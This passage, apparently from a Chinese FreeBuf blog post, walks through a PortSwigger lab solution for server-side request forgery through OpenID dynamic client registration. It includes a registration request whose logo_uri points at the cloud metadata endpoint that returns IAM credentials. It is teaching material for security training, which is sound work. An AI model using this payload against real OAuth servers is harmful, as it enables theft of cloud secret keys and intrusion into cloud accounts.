3.发送请求。请注意，您现在已成功注册您自己的客户端应用程序，而无需任何身份验证。响应包含与新客户端应用程序关联的各种元数据，包括新的client_id.

4.使用 Burp，审核 OAuth 流程并注意“授权”页面，用户同意请求的权限，显示客户端应用程序的徽标。这是从/client/CLIENT-ID/logo. 我们从OpenID规范中了解到，客户端应用程序可以logo_uri在动态注册期间使用该属性为其徽标提供 URL 。将GET /client/CLIENT-ID/logo请求发送到 Burp Repeater。

5.从“Burp”菜单中，打开 Burp Collaborator 客户端并单击“复制到剪贴板”以复制您的 Collaborator URL。现在让协作者对话框保持打开状态。

6.在 Repeater 中，返回到POST /reg您之前创建的请求。添加该logo_uri属性并粘贴您的 Collaborator URL 作为其值。最终请求应如下所示：

POST /reg HTTP/1.1
Host: YOUR-LAB-OAUTH-SERVER.web-security-academy.net
Content-Type: application/json

{
"redirect_uris" : [
"https://example.com"
],
"logo_uri" : "https://YOUR-COLLABORATOR-ID.burpcollaborator.net"
}

7.发送请求以注册新的客户端应用程序并client_id从响应中复制。

8.在中继器中，转到GET /client/CLIENT-ID/logo请求。将CLIENT-ID路径中的替换为您刚刚复制的新路径并发送请求。

9.转到 Burp Collaborator 客户端对话框并检查是否有任何新的交互。请注意，有一个 HTTP 交互试图获取您不存在的徽标。这确认您可以成功地使用该logo_uri属性从 OAuth 服务器引出请求。

10.回到POST /regRepeater 中的请求，将当前logo_uri值替换为目标URL： "logo_uri" : "http://169.254.169.254/latest/meta-data/iam/security-credentials/admin/"

11.发送此请求并client_id从响应中复制新请求。

12.返回GET /client/CLIENT-ID/logo请求并将替换为client_id您刚刚复制的新请求。发送此请求。观察响应包含 OAuth 提供者云环境的敏感元数据，包括秘密访问密钥。

13.使用“Submit solution”按钮提交访问密钥并解决实验室。

声明

本文仅供学习参考，其中涉及的一切资源均来源于网络，请勿用于任何非法行为，否则您将自行承担相应后果，我不承担任何法律及连带责任。

# 实验记录 # OAuth授权验证绕过漏洞 # HTTP请求走私 # PortSwigger

已在FreeBuf发表 0 篇文章

本文为独立观点，未经允许不得转载，授权请联系FreeBuf客服小蜜蜂，微信：freebee2022

被以下专辑收录，发现更多精彩内容

+ 收入我的专辑

+ 加入我的收藏

展开更多